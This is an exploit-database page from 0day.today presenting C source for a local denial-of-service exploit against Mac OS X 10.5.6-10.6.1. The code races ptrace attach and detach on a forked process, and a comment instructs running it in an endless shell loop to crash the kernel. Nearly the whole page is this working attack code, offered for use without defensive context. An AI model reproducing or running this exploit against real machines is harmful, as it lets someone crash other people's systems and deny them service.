[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

OSX 10.5.6-10.5.7 ptrace mutex DoS

Author
prdelka
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8148
Category
local exploits
Date add
05-11-2009
Platform
unsorted
==================================
OSX 10.5.6-10.5.7 ptrace mutex DoS
==================================



# Title: OSX 10.5.6-10.5.7 ptrace mutex DoS
# CVE-ID: ()
# OSVDB-ID: ()
# Author: prdelka
# Published: 2009-11-05
# Verified: yes

view source
print?
/*
  Mac OS X 10.5.6-10.6.1 ptrace() mutex handling DoS
  ==================================================
  This code should be run in a loop and due to problems
  with mutex handling in ptrace a DoS can occur when a
  destroyed mutex is attempted to be interlocked by OSX
  kernel giving rise to a race condition. You may need
  to run this code multiple times.
   
  - Tested against 10.5.6
  - Tested against 10.5.7
  - Tested against 10.6.1
 
  while `true`;do ./prdelka-vs-APPLE-ptracepanic;done
 
  -- prdelka
*/
#include <sys/types.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>
 
 
int main(){
    pid_t pid;
    char *argv[] = {"id","","",0};
    char *envp[] = {"",0};
    pid = fork();
    if(pid == 0){
        usleep(100);
        execve("/usr/bin/id",argv,envp);
    }
    else{
        usleep(820);
        if(ptrace(PT_ATTACH,pid,0,0)==0){
            printf("[ PID: %d has been caught!\n",pid);
            if(ptrace(PT_DETACH,pid,0,0)<0){
                perror("Evil happens.");
            }
            usleep(1);
            wait(0);
            }
        else{
            perror("Fail!");
        }
    }
    return(0);
}



#  0day.today [2024-09-28]  #